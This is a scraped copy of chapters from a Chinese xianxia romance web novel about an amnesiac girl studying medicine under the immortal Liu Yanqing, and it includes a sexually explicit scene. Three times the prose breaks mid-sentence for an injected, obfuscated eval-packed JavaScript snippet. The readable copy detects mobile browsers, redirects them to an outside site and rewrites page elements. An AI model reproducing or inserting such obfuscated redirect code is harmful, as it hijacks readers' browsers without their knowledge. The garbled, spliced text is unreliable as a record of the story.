世人皆知此山在蜀州境内,却终年寻不得路。唯有缘人遇白鹿,方能踏云登阶,入殿求医。 柳砚清便是这山中大仙。 曾有人言他弹指可活死人,问及时,他却只道:“凡人命数,自有天定。” 三月前,我软磨硬泡求他授我医术。虽然他还是不肯让我唤他师尊。 白日学些头疼脑热的方子,夜里偷翻典籍,暗自定下三月出师的痴念。 人总要有远大的目标嘛,尽管不能实现。 柳砚清偶尔下山行医,我便随他前往,一面做他的助手,一面学习。 利州山村义诊那日,村长缠着柳砚清说话,我独自踱至田埂边。 见个小姑娘正采野花,彩色的星星点点兜在衣摆里。她跑回家,仔细将花种在院角,又舀水来浇。 我蹲下看她忙碌。她认出我是行医的,冲我一笑。 “为什么把花挪到院子里来呢?” 姑娘小手比划着说:“这样哥哥姐姐们不用出门也能看到花花。我打算在院子里种下各种颜色的花,黄的粉的蓝的,把我们家弄成大花圃。” “你还有哥哥姐姐呀?” “嗯!大哥二姐三哥,他们可爱我了!就是他们太忙啦,没有太多时间陪我玩,我只好自己种种花,在家等他们回来。” 墙角歪歪扭扭画着四个小人,野花在风里轻颤。不知怎的,脸颊突然一凉。 “姐姐你怎么了?” 小姑娘一手抓住我的手,一手抚摸我的脸颊,眨眼问道:“姐姐你怎么哭了?” 我……哭了吗? 我抬手抚摸眼睛,确实是湿漉漉的。 “大概是姐姐羡慕你有这么爱你的哥哥姐姐吧。” 村长终于肯放柳砚清做正事,义诊有序进行。柳砚清把脉开方,我分包药材,配合无间。 队伍后方忽起骚动。 一对华服男女径直走来,玄袍男子眉目含霜,紫裙女子神色倨傲,与周遭朴实的村民格格不入。 男子声如寒铁:“听说医鹿山的仙人仙女在此义诊,特来求诊。” 我暗暗骂了句没礼貌,维持笑意:“看病请排队哟。” “怎么?柳仙人的高徒,连个脉都把不准?”女子纤指抵腰,孤傲地上下打量我。 余光瞥见柳砚清微微颔首,我只得引他们到一旁。 指腹搭上男子手腕时,他眼底的轻蔑几乎凝成实质。 信不过我又要我给你诊脉?爱看不爱,诊断出绝症可别赖我。 搭上他的脉搏,我努力回忆着柳砚清教过我的脉象知识。 通过按切脉感知脉搏的微小变化来诊断疾病…… 我想想……脉搏在哪儿来着?食指和中指似乎是要放在这两个地方…… 嗯?没动静?死了?不对不对,人好端端坐在我面前怎么就死了呢!重来! 我又调整了指腹放置的位置,这次对了,能感觉到有一点小小的东西在跳动。 钩脉弦脉毛脉石脉……还有……那日背到子时的第五脉叫什么来着? 哦哦哦,溜脉。 然而,眼前的人脉象搏动有力,来时力强去时力衰,阳气正盛,丝毫没有病态的迹象。 我蹙着眉抬头看了他一眼,见他正淡淡地看着我。 “如何?我得了什么病?” 我……不知如何回答。 您很健康啊……脉象平稳,气色红润有光泽,有什么问题吗……难道是我学识不到家,所以没看出来? 不急,望闻问切,按流程来。他自己都说自己有病,那肯定是有病了。 正踌躇间,紫衣女子忽柔声道:“小——仙人莫慌。我们只是近来多梦魇,想寻个解心结的法子。” 男子颔首:“久闻医鹿山仙者医术高明,特来看看。” 我佯装了然地点头,心里总隐隐觉得他们话中有话。 不过,如果只是解心症的话,这个我擅长。放眼医鹿山,找不出比我更会说话的人。 “咳咳。”我摆出医者的架势,捋了捋不存在的胡须,“二位最近是不是——” “这里交给我吧。” 柳砚清突然出现在身后,将我满腹医论生生截断。 紫衣女子福身:“那便叨扰仙长了。” 男子说:“家妹去年救下一只蛐蛐,此后便神志不清,忘了事儿。不知仙长可有良方?” 柳砚清淡然应答:“静养数月,已有起色。” 听后男子冷峻的面容稍霁:“多谢仙长。” 我听得云里雾里,什么蛐蛐还能摄人魂魄? 走神间,女子突然对我嫣然一笑:“我看小仙人长得如此水灵,可知世间有种缘分叫血——” 男子猛地捂住她的嘴,两人暗暗用眼神谩骂对方。 血祭?!是血祭吗! 我吓得往柳砚清身后缩了缩。 柳砚清轻咳了声:“两位若无事,就先请回吧。” 男子松开女子的嘴,起身整理衣袍:“失礼了。” 女子神色恢复清冷,临别前又淡淡地看了我一眼,饱含深情似是不舍。 义诊结束,村长执意留饭被拒。临行时,那只种花的小手突然拽住我衣角。 我笑着蹲下身,问道:“怎么啦?” 她把小花递给我,说:“送给姐姐的。姐姐的家人一定也很爱很爱你。” 我一时语塞,收下她送来的花束。 “谢谢你的花……也谢谢你的话。” 小姑娘听完我的道谢,高兴地背着手摇晃,说:“所以姐姐有兄弟姊妹吗?” “我……” 我咬着唇,不想说不知道,良久冲她点了点头,说道:“嗯!我也有疼爱我的哥哥和姐姐。不过,他们太忙,我们很久没见面了。” 柳砚清不知何时走到我身后,冷不丁插入我们的话题,说:“天色不早了,小花,哥哥在喊你回家吃饭了。” 小姑娘兴奋地踮起脚望向不远处,迫不及待跟我们道别。 我看着她跑远,奔向一个大男孩的怀抱,两人手牵着手走在夕阳下。 “那孩子叫小花?” “嗯。父母在几年前的病疫中去世,那时小花刚出生不久。家中只有两位哥哥和一位姐姐,三人每天外出帮人做活,一同抚养小花。” “病疫?所以他们……” 我望着田埂边行走的身影,是那么幸福。忽而又想起小花说过的话,我不禁陷入沉思。 柳砚清默默转身,说:“走吧。” 我叫住他,问道:“我有哥哥姐姐吗?” “……为何这么问?” 我摇头,跟上柳砚清的步子。 “大概……是羡慕小花吧,羡慕她有那么疼爱她的家人。” 身旁的人看了我一眼,拉着我的手臂躲过了脚下差点踩到的牛粪。 “不必羡慕。” “嗯?” “你的家人——不该说疼爱,是溺爱。你会落得用起死回生,正是他们过分溺爱你的结果。尤其是……你的哥哥和二姐。” 我倒吸一口气,紧张地问道:“那他们……为何不来看我?我好不容易死里逃生,他们既然溺爱我,为何不来看望我?他们难道不想知道我是否还活着,还健不健在?他们……真的爱我吗……” 马车颠簸中,我再三追问,只换来他长久的沉默。 医鹿山的冬季来得猝不及防。 夜读出来,青石阶已覆上薄霜。柳砚清忽在殿前驻足,顺着他的目光望去——炉鼎青烟袅袅处,一只仙鹤衔着浅蓝飘带翩然而至。 它稳稳落在我们面前。柳砚清解下飘带,从袖中取出一枚白玉棋子置于鹤喙。 看着仙鹤飞远,我看向柳砚清手中的飘带,问道:“这是什么?” “羽带。” “羽带是什么?” “仙人的护佑。” “仙人的护佑是什么?” “等你回忆起过去就明白了。” 羽带在柳砚清掌心静静的,接着,从他袖口飞出两只流光溢彩的蝴蝶,衔起羽带朝后山的方向飞去。 翅膀张合时,磷粉碎闪留下它们的轨迹。 仙人的蝴蝶,莫不是叫仙蝶?果然,神仙的一切都如梦似幻。 “下山后,多写信。” 柳砚清忽然开口,我疑心自己听错了,但怕他反悔又立马乖巧地点头说“好”。 “还有,洁身自好,不要和来路不明的男人跑了。” 我挠了挠脖颈,避过望来他的目光,没敢出声。 我得去找九个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“普通到……你不会给我写信的程度。”他淡淡说道,“甚至一别,临死才再相见。” 我们立于殿前的石阶上,望着飘落的雪花和升起的明灯交相辉映。 “既然是普通关系,师尊为什么还要违背门规,冒着被逐出山门的风险救我呢?” 柳砚清勾唇浅笑,没有直面我的提问,而是换了个问题问我。 “那你认为我们是什么关系?” “我以为……我说了你可别笑啊。”我舔了舔干裂的嘴唇,“是很重要的关系,说好厮守终生的关系。兰因絮果,却终归放不下。” 柳砚清突然浅笑着问道:“又学了新的词?兰因絮果?以后不许乱用成语。” “哪儿乱用了……我认真的。我还特地找如雪问了兰因絮果的意思,确信了含义才敢说的。” “兰因絮果……你我从未成亲,用不得这个词。” “……没有吗?” 出乎我意料的回答。 “没有。” 我不信,又追问了一遍:“一次……也没有吗?” 柳砚清无奈地看了我一眼,说:“没有。” 见我失落得泄了气,柳砚清故意撇开话题,问:“不过我倒想听听,你从何得出的结论?” 我绞着袖口说:“一开始,你知道我失忆的时候,脸上闪过的神情告诉我的。是绝望,对吗?你救活了我,却没有救回你想救回的灵魂。我把你忘了,忘了我们许下的诺言……也许,忘记的事情,比我想的还要多。” 声音逐渐低沉,说到最后连自己也听不大清。 柳砚清沉默片刻,最终稍稍扬起一抹苦笑。 “或许吧。” 我将誊抄三月的医书强塞到他手里:“师尊手抄的那份就归我啦。作为交换,这本是我亲自抄写的,送给师尊吧。” 柳砚清指尖抚过封皮上歪斜的字迹。 “从前你怎么都不肯学,罚你抄书你就撒泼不肯,罚你关在房中不许出来,你便趁着夜色上房揭瓦。现在倒主动抄起了书,学了医药。” 我趁机嬉闹开起玩笑:“你看,你以前还给我上过课,为何偏不让我唤师尊?” “你从未拜入我门下,自然不是我徒弟。”他轻柔地诉说,“何况,这可是你当年亲口立下的规矩。” 我懵然歪头。 “我?” 5. 渐减馀香 【逆梦归尘】 晨光透过窗棂,在柳砚清侧脸投下斑驳光影。他正整理药箱,骨节分明的手指在药材间游走。 案几旁,某位浪迹人间归来的仙子支着下巴打盹,发间竹簪随动作轻晃。 “几千岁的神仙也会犯困?” 他声音里噙着笑,取来披风为她搭上。衣料触及肩头时,她无意识蹭了蹭他指背。 “再睡会儿?” 他指尖拂过她眼下淡淡的青影。 “说好陪你下山的。”姑娘睁开眼,指尖自然地勾住他的小指,“难得回来,不想分开。” 这个习惯性动作让仙君耳尖泛红。他低头掩饰,却被她抚上脸颊。 “天黑前回来。” 他拇指无意识摩挲她耳垂上的红痣。 “这么急?”她笑问。 “嗯。”唇瓣轻触她指尖,“想你了。” 廊下脚步声渐近时,柳砚清已退至案边,广袖垂落间又是那副清冷模样。唯有颈间薄红未褪,倒映在南风带笑的眼底。 她斜倚书案,方才的娇态已化作仙家威仪。 清雨如雪对这般情景早已习以为常,面色如常地呈上课业。 待二人退下,柳砚清才发觉姑娘正眯眼瞧他。顺着视线看去,原是袖口与指尖不知何时沾了墨痕。 定是方才慌乱间粘上的。 “哎呀呀,师尊的袖口脏了呢。脏着手,待会儿下山可不得把人吓着。” 柳砚清轻轻笑了笑,转身进屋准备换身新的。姑娘见状一个跨步挡在柳砚清身前。 “我来给师尊换。” 柳砚清乖乖张开双臂,任由姑娘借着换衣服的借口对他上下其手。 光是解开腰带就沿着腰围摸了个遍,脱去衣裳的操作竟然是擦着肩,触摸着柳砚清炙热的皮肤褪去。 早习惯了,也早猜到她会这样。 当姑娘“不小心”擦过他腰间敏感处时,柳砚清看着眼前的人嘴角扬起意味深长的笑,无奈轻叹道:“我可不能有你这样的徒弟。” 姑娘纯然地抬眸,“为何?” 柳砚清低头轻咬她指尖,“会让我背上师德罪名。” 姑娘轻笑,在他唇间呢喃,手掌顺着他的脊背下滑,隔着薄薄的衣衫感受他的炙热。 “那我还是不叫你师尊了,免得哪天被人误会,用道德伦理硬生生拆散我们。” 南风的手指插入他的发间,砚清闷哼一声,将她拦腰抱起走向主屋。 床帏落下,遮住窗外微弱的光线。 南风仰起头,任由他的唇落在颈间。齿列轻轻啃咬着她敏感的肌肤,留下一串红痕。 “砚清……”南风喘息着,手指解开他的衣带,“我好想你。” “我不信。” 南风拉着他的手按在自己胸前,让他感受自己剧烈的心跳。 “你看。心跳和身体不会骗人的。” 这两人,一见彼此,便忘乎所以。 遮挡视线的墨黑碎发有些碍事,南风伸手拨开,柳砚清红润布满汗珠的脸显现。 汗水顺着棱角分明的下颌滑至滚动的喉结,再滑向沟壑分明的胸膛和小腹。 心跳加快了几分,南风下意识盯着汗珠视线向下又向上,似要把他全身上下都看透。 也许是不想被看到这副表情,砚清从她身体一侧收回一只手捂住她的眼睛。 “好看吗?眼睛都看直了。” “简直秀色可餐。” 他挪移开覆盖在她眼睛上的手,睨了一眼:“又乱用词语。” “夸你好看呢,没心没肺。” 南风恼羞着抬脚,脚后跟在他后背上锤了一下。 “以后不夸你了。也不说想你之类的话。哼!” 砚清不着痕迹地扯了扯唇角,带着玩味的声音在她耳畔响起:“但这具身体依旧会热情地欢迎我。” “那倒不一定。它不过饿了、渴了,对谁都一样。” 砚清无奈叹息:“行吧,仙子说了算。我都依你。” 他的声音放轻,显而易见比平时温柔不少,南风忍不住多虑: 原来思念成疾的仙人会变成这副模样?真想医鹿山的师叔师祖们都看看。 南风偷看着,试图烙印下他现在的模样。可仙人根本不给这个机会,急促的吻落下来,挡住她所有视线。 【梦溯流光】 破晓时分,柳砚清又携我进山“修道”。为御风寒,我悄悄在裙下藏了绒毯,却被他一眼识破。 “修道贵在炼心。待到境界,自不畏寒。” 我本想争辩几句,但见他神色冷峻不容反驳,只得悻悻地将毯子放回原处。 谁知他反而皱起了眉头,似乎对我的顺从感到意外。 我不禁小声嘟囔:“不是你叫我放回去的么?” 他忽地轻叹:“我也该习惯新的你了。走吧。” 说完,他振袖一挥,转身走在前头。 后山白梅终年不谢,穿溪过林,落英纷飞的木台乍现眼前。 台上积满花瓣,显是久无人至。远远看去似乎在哪儿见过的画面……在哪儿呢? 每次修道的地点都是柳砚清临时决定的,这些日子我们几乎走遍了医鹿山的每一个角落。 师尊莫非是想通过这种方式唤醒我的记忆?若真是如此,倒也不失为一种巧妙的方法。 “师尊!” 我踏着满地如雪的花瓣,小跑到他身边,笑脸盈盈地唤他。 “说了,不要叫我师尊,名字即可。” “叫全名?会不会显得太生疏?” “名字而已。人之所以生来需要名字,被冠上姓氏,不就是为了方便称呼吗。” 仙人说的尽是道理。 “那,砚清?” 我试探性地叫了一声,又摇了摇头,“好像没大没小的……” “行。” 他几乎是毫不犹豫地应了下来,反倒让我愣了片刻。 “……啊?好吧。” 我们相对而坐,拂去坐垫上的花瓣,摆上茶壶和茶盏。 难得不见他那始终散发催眠花香的木匣子,怪不习惯的。 山间幽谷,疏花如雪,这场景不像是修道,更像是文人雅士的修身养性。 柳砚清一袭绀青色的长袍,与梅林构成一幅绝美画卷,近在眼前,却又仿佛遥不可及。 山中弟子说,这片梅林终年不谢散发异香,至少不是寻常梅花的幽香。 我说不上来是什么味道,只觉得有咸味。 “所以,什么事?”他端起茶盏,淡淡问道。 我倒茶的手顿了顿,沉默片刻后,终于鼓起勇气开口:“能告诉我,我的名字吗?” 知晓姓名便能恢复记忆。显然柳砚清早就认识我,也知道我的过去。与其漫无目的地寻找,不如直接问他。 “风。” 他抿了一口茶,语气平静。 “风?就一个字?” “风,是你的名。” 他说得极轻,仿佛怕惊散一缕真正的风。 梅瓣落在他肩头,那抹白忽然刺得我眼睛发疼——他看我的眼神,分明在透过我抚摸另一个灵魂。 我继续追问:“那我姓什么?” 柳砚清没有直接回答。 “你不是要下山吗?告诉你,还找什么?” 我顿时恍然大悟:“所以,您同意我下山了?!” “我不同意,难道你还真不走吗?” 我嘿嘿一笑,捧着茶盏小声道:“谢谢师尊。” “……不许叫我师尊。” 柳砚清从怀中掏出一本不算厚的书递给我。 “在那之前,先把书上的内容学会。掌握一项技能,你在世间也有个赚钱养活自己的门路。学不会,你也不用下山了。” 我欣喜地接过书,迫不及待翻开。 序言:本书共三千万字,学成共需花费三十年,请诸位学者努力钻研,刻苦学习。 “您是故意为难,诚心不想放我走啊。” 我抬眼,正好对上柳砚清深邃的眼眸。他的眼睛牢牢看着我,脸上扬起明媚的笑容。 是我从没见过的,真正属于他、发自内心的笑容。 但我却笑不出来。 喉间泛起酸涩,我知道,他不是对着我笑,是从前的我,重生前与他有过过往的我。 心突然绞得疼,我收回视线,眨眨眼睛藏起自己脸上险些暴露的落寞。或者该说,是嫉妒。 “三千万字和三十年只是针对自学者而言。若有高人指点,用不了那么久。” “原来如此。那得找个师傅教我才行。找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我愣在原地,眨巴着眼睛来回对照两本书。 细看,书房里的迹工整划一,显然是坊间印刷;而我手中这本,虽然装帧朴素,但每个字的笔锋转折都带着柳砚清特有的清峻风骨。 “难不成……这是师尊亲自抄的?” 柳砚清将最后一味药材包进桑皮纸,细绳在他指间翻飞成结。 “不许叫我师尊。闭关修行期间抄写的。你要是不想要,就还给我吧。” “好,还给您。” 我将书递过去,他纹丝不动,连手都不肯抬一下。 “嗯?”我有些疑惑,在他眼前晃了晃手里的书,“嗯?” “我不要。” 这回答让我慌了神,急忙解释:“您怎么又不要了?没弄脏,真的!我保管得很好的!绝对没有吃饭睡觉的时候翻阅,真的!” 柳砚清终于抬眼看我,黑色的眸子闪过一丝难以捕捉的笑意。 “如此珍惜,那你继续保管吧。” 说完,他拎起药包,越过我离开药房。 我拿着两本书愣在原地,半晌,失掉语言无奈笑了两声。 秋阳正好,我邀清雨如雪在后山亭中吃茶,顺便打探些消息。 “师尊闭关修行?” 清雨执壶的手顿了顿。两人对视一眼,如雪茶盏“咔哒”轻响。 “师尊从不闭关,打坐修道也只是近期陪姑娘才有的。虽世人传他千年道行,实则不过三百余岁。平日修行,都是下山行医。” 如雪忽然想起:“等等,我听说姑娘醒之前……去年吗?师尊去后山呆了一段时间,是去干嘛?” 清雨轻咳一声,似有顾虑,但在我微微睁大的眼睛盯视下,还是开口解释。 “医仙大怒,师尊受罚,被关了一段时日。医鹿山的规矩,不能干涉凡人的生死。师尊破了例,按理说应该被逐出山门的。” “可姑娘是仙,不是凡人啊。” “嗯?” 如雪的话让我两眼一睁,神情呆滞。 “仙?谁?我?” 6. 醉卧黄昏 午后的阳光被密林筛过,深深浅浅的光斑透过山间的雾气,散落在地面。 我知道医鹿山大,可能没想到这么大。弯弯绕绕的山路,让人分不清前方的路是不是刚才走过的。 “师尊,我们确定没有在绕圈子吗?” “不许叫我师尊。没有。”柳砚清并未停下脚步,而是稍微放缓了些,好让我跟上。 忽然,林深之处传来几声少年的说笑声,很快又消失不见。片刻后又是叽叽喳喳的交谈声。 “快走快走,要被发现了!” “别拽我啊!” …… “今日功课做不完,全部人抄《神农本草经》三遍。” 柳砚清的声音只放沉了半分,躲在林子深处的一众人立即停下嬉笑,前前后后从林间走出,耸拉下脑袋认错。 “师尊,我们错了。” “不是有意来此的……” “都是小七!是小七说来的!” 七嘴八舌的少年们见柳砚清蹙眉,立刻噤声如寒蝉。 “擅自逃课,再加一遍《千金要方》。” 五个少年听见罚抄的目数又多了,仿佛晴天霹雳,委屈得头又低了些。 其中一个少年突然抬眸望向我,眼中闪着泪光,似乎希望我帮忙求情。 找我有什么用……我抄的可不比这少。 “快回去上课。” “是。弟子告退。”五位少年匆匆行了一礼,旋即消失在了树林中。 看着快速隐没在绿色中的五个背影,我默默看向柳砚清。 “师尊好凶啊……” “你也想抄?” 我连忙抿紧嘴唇闭嘴。 行不多时,几株古木后忽现一栋临水木屋。素纱轻扬,屋宇浮在满池莲荷之上。 我愕然回望来路,后方是飞雪的寒冬,这一池莲花却开得恣意。 柳砚清拨开掩径的荷叶,引我踏上木桥。推门而入,竟别有洞天:厅堂、卧榻、书案、庖厨一应俱全。 轩窗外,一丛翠竹恰好入画,似天地自成的屏风。 久无人居的屋内薄尘轻覆,唯有窗台一盆桔梗葳蕤生光。 “竟是桔梗……” 我不由轻触紫瓣。 指尖传来微凉的触感,恍惚想起此花寓意“无悔之爱”。 仙人案牍劳形,这抹紫色却在这寂寥的屋子里开得比朝露还鲜活。 忽然意识到什么,我不禁脱口而出:“这里,难道是……” 转眼,我又看到满满一墙的书,惊讶着随手取下一本两本。 “《茶经》《旧唐书》?都是前朝的书?” “前人留下的,自然是前朝的书。” 柳砚清走到我身边,取下一本《唐新本草》递给我。 “今天学这本,入睡前看完。” “好……嗯?我们今晚不下山吗?” 柳砚清走到案边拂袖一挥,屋内的灰尘消失不见后,他才缓缓入座,变幻出茶具和泥炉开始烹茶。 我愣在书架前,等他答复。可他半天都不理我,光顾着喝茶。 “师尊?” “不许叫我师尊。”他放下茶盏,“接下来几日你都在此安心学习。” “那你呢?”我歪着头纯然地问道,“我一人,入夜要是有狼有劫匪……我打不过。” 他看我一眼,饮下茶汤。 “我负责监督你。” 意思就是,他也在。 我心头一喜,小跑着到他对面坐下。 木屋的日子如檐下流水般平静。 晨起、修习、用膳、查课、入眠。 柳砚清总在卯时起身,踏着晨露去林间打坐,归来时灶膛里的柴火噼啪作响,让我闻着饭香醒来。 山中天寒,我常蹲在灶门前打盹,青烟熏暖的角落比书案前暖和多了。 柳砚清明知我在偷懒,却总纵容半个时辰。时辰一到,便用书卷敲醒沉睡的心灵。 倦了便缠他下棋,任我如何耍赖,他落子从不留情。 闲时各执一书,他总捧着前朝诗集,烛火染暖了那双总凝着霜雪的眼睛。 我托腮看他,纸页翻动声未停,他纵着我这般明目张胆地瞧。 炭盆渐暗时,忽盼这光阴能再长些。 “师尊长得真好看。” 他头也不抬。 “画经脉图十遍。” “……我在夸你呢。” “学得不够累,还有余力,再加二十遍。” “……” 夜里山中雾气重,没完没了地下着雪。我伏在窗台,看着池塘里的莲花莲蓬。 那么冷的天,它们却盛放依旧,甚至有些新绽放的,似乎与世间天气如何变化无关。 “莲花,是冬天也会开的吗?” 柳砚清翻过一页书,答道:“不会。” “难道是从仙界来的花,所以不受凡间的影响?” 柳砚清听见我的问题后看了我一眼,浅浅一笑。 “这栋房子,连同屋外的池水——” “都来自仙界?!” 柳砚清没有否认。我感慨着又望向窗外。 “呜哇……那位仙人一定很闲吧……” 忽然,耳边响起一声宠溺的笑。我难以置信地望向柳砚清,他收起手里的书,起身走向门口。 看我还愣在原地,他侧头向我看过来。 “去看看吗?” 虽然只是走出门外,但我兴奋得跳出门槛。 “回来。”清冷的声音叫住我,“穿鞋。” 他手里提着我的鞋,我低头看了眼冻得毫无知觉的脚,才想起自己居然没穿鞋就跑出来。 “嘿嘿。” 我讪讪笑着跳到他跟前,接过被我穿得有些旧的蓝白绣花鞋。 “为何不穿足衣?”他看着我冻得煞白的双脚问道,“寒从脚起,这双脚是不想要了吗?” “哪儿有那么夸张……穿了不服输,所没穿。” “是不舒服吧。冻得说话都不利索了,还不知道保暖。” 我听见柳砚清无奈轻叹了口气,抻开臂膀上的披风替我披上,又将手中的暖炉塞进我手里。 我一蹦一跳地走在前头,他默默跟在我身后。 这块地准确讲属于医鹿山后山,不常有人来,光秃秃的树林被寒气笼罩。不过屋子前的景象还如夏日,莲花开得正好,洁白的花瓣衬着碧绿的荷叶,反季节的美美出一种特别感。 但硬要讲的话,我还是更喜欢另一面的梅林。 “我们去哪儿?” 我兴奋地回头看他。他扬起一点唇角,领着我绕到屋子的后面,也是进屋子的后门。 上山数日,柳砚清包揽了进厨房的活儿,不许我干学习以外的事,所以这个地方,我还是第一次来。 厨房外是一大片空地,摆着晾晒草药的架子和簸箕。院墙边种着几株常见的药草,就连悬梁上也挂着一些草药袋子。 “哇!房前屋后判若两地啊。”我感叹道,“以前住在这里的人也是一名医者吗?药师?” 柳砚清没有说话,在旁边拿过一把锄头递给我。 “……嗯?”我懵懂地接过,“这是要……挖什么吗?” 柳砚清点头,指了指地上贸然出现的一朵小黄花。 “挖这里。” “我挖吗?” “难道为师来?” 我憋着嘴:这个时候又自称为师了?! 我不知道在挖什么,洞坑越挖越大,除了土还是土。 “师尊呐……是不是你记错了?这里什么都没有啊。还是说,我不认真念书,你在变着法惩罚我?” 柳砚清只手背在身后,语气淡漠。 “快了。挖出来,你就有酒喝了。” 原来埋的是酒,早说我不就有动力了嘛。 半个时辰后。我擦去额头上的汗水。 “未免藏的太深了。难道是不想让您喝吗?” “这坛酒在此埋了三百年,是有些年头了。” “三百年?!”我惊呼,“难怪那么厚的土。” 我撑着腰,擦去脸上的泥印,弯腰抱起埋在土里的一坛酒。 什么酒,害我挖了这么久,看我一会儿不给你喝干净。 我两手抱着酒,递给上方的柳砚清炫耀。 “师尊,我挖出来啦!” 柳砚清又轻蹙了下眉,姿态依旧端庄站在坑边。 “上来吧。” “啊?我……怎么上啊。你把酒接过去我才好爬上来啊。” 我把手中的酒又朝他伸了伸,他还是一动不动,手都不肯抬一下。 “自己想办法。” ……这是我想办法就能解决的吗?抱着酒,这么深的坑,除了一把锄头什么都没有,我怎么想办法?! 我急得原地打转,一脸无辜地望向柳砚清,对方的表情依旧淡漠。 “师尊……我错了……你,搭把手呗?” “不。” “……” “还有,不许叫我师尊。” 原来是生气了。难怪不肯帮我。 我装作看淡了人世的样子,屁股一跌坐在泥里,忍不住叹息一声:“也不知道今晚会不会下雨啊,给我活生生淹死……或者下雪?把我埋在这儿?震惊,医鹿山后山竟有孤魂一缕,据说是冰雪天冻死的女鬼……” “呵。” 不是心疼的声音,也不是着急,头顶传来一声冷笑。我也笑,学他的语气冷笑。 不知不觉,真的下雨了。 说啥来啥,我开玩笑呢老天! 我赶忙站起身,抱着酒,心想能不能先把酒丢上去,然后自己再爬……显然是不可能的。 朦胧雨夜,我越发看不清柳砚清脸上的表情,没来由的心慌。 罢了,反正他也不帮我,看他作甚。眼睛涩的生疼,我缓慢地闭了闭。 忽地,一条轻纱被两只流光溢彩的仙蝶衔着落在我面前。 我正要伸手触摸,羽带像是感应到我一般,簌簌缠绕上我的双臂。 接着,一股力量带着我和锄头腾空而起。 “这是那条……仙人的羽带?” 我缓缓落在柳砚清身边,他振臂一挥,彩蝶消失。 替我戴好披风,他一手接过我怀里抱的酒,另一手握住我的手腕将我带回屋内。 臂弯间的羽带似乎失去法力,变成一条普通的轻纱垂下。 我静静地看着眼前如幻梦一般的画面,不禁有些怔然。 门扉在身后紧闭,只剩一室温暖。 我脱下披风,低头看了看被泥土弄脏的裙摆。 柳砚清径直走向卧室,打开柜子熟练地翻找,不多时,便找出一套干净衣裳和布巾给我。 “……之前住在这里的是位姑娘?” 会酿酒的姑娘?而且,为什么柳砚清会对这里的一陈一设如此熟悉……醋意上头,我真恨不得给自己一拳。 自寻烦恼这方面,我称得上高手。 我钻进屏风后,脱下脏兮兮的衣裙,却迟迟不肯换上手里这套干净的。 女人……柳砚清的女人……羽带……哪怕能大概猜到这一切都是重生前的我留下的,心里还是不是滋味。 柳砚清煮好热水坐在案边。我走过去,没有选择落座他对面,而是他身边。 隔着一臂的距离,我抱膝歪头看着他。 他看我一眼,又收回视线,将热水递给我。 我问道:“不是茶?” 他回答:“腊雪水。” 甘甜温暖的腊雪水下肚,寒气驱散。有些情绪,却怎么也散不去。 “师——” 忽然,眼前多出一只骨节分明的手,冰冷的指尖轻柔地抚过我的脸颊。 擦过耳垂时,我明显感觉到他用指尖无意捏了捏,目不转睛盯着那方。 明明那么冷,指尖抚过的地方却留下一片滚烫。 “泥印。” 我出神地望着他,思绪跟着窗外的浓雾一样慢悠悠地飘荡,情不自禁幻想,如果我现在…… 霎时,我垂眸,抛开脑海里愚蠢的想法。 不想他讨厌我。 我抬手挡开他的,说我自己擦。他也没多言,应了声收回。 “跟我讲讲过去吧。反正我什么也想不起,你告诉我,我也只当是在听故事,好不好?” 反正这里白茫茫一片,回头或者往前。我看不到过去,也看不到未来。对于过去的自己,即使或多或少知晓了一些,可总觉得那么陌生。 那真的是我?过去的我和现在的我,为什么……那么不同。 “你想听什么?”柳砚清轻声问道。 我顿了顿,咬着下唇。 “我……是怎么死的。” 那是一切的起点,也是一切的终点。 这次,柳砚清不再拒绝,眼神空洞地望着某处,似乎回到了那一天。 “传说西洲岛上有起死回生之术,你为求术法救人,到了与西洲岛一江之隔的旷野。” “然后呢?” “旷野的存在本就是为了打消求术人的念头。往后,方有退路。往前,死路一条,无论人神。” 柳砚清的声音淡淡的,和平时没有任何区别,可就是这样平淡的语气,让我的心揪了起来。 “所以我……选择了往前……可我不是——” 可我不是神仙吗?一个无聊至极的仙人,给仙界的房屋花草搬到凡间,遍地沾花惹了九个男人?神仙怎么会死?我明明可以求柳砚清,为何还要孤身一人…… 我没有说出后面的话,我怕猜得不对,柳砚清又要皱眉头了。 手不自觉地抓紧了他的衣襟。 “去西洲岛之前……我是不是求过你?” 柳砚清的目光有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056719|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬迟疑,随即淡然地看向我,等待我继续说下去。 我深吸一口气。 “既然不想帮我,为什么还要救我……” 柳砚清沉默了一会,随即低声笑了。 “如果是救你,以命换命我也愿意。” 四目相接的一刻,那双深邃眼瞳中翻涌的光芒和之前的每一次无异,我却读出了另一层深意。 我是怎么睡着的,为什么柳砚清告诉我的最后一句话,留在脑海里的只剩只字片语。 如果是救你……意思是,我当年去西洲岛祈求起死回生之术不是为了自己?那是为了谁? 宁可有去无回也要救下的人…… 又是堵在嗓子眼叫不出的名字。 时常有相似的情况出现,梦境醒来,破碎凌乱的画面中总有抹红色的背影,我想出声唤他,却怎么也叫不出他的名字。 后来柳砚清还说了什么,我一个字也记不清了。 我迷迷糊糊睁开眼,窗子不知何时被支开了。 一夜雪后,漫山遍野白得晃眼。桌上早膳冒着热气,柳砚清拿着棉衣站在床边。 “师尊又施法让我睡着的吧?”我裹着被子不肯动。 他轻叹一声,俯身替我穿衣系带,转身走向食案。 我盯着满桌子我爱吃的饭菜问道:“这是什么?道歉吗?” 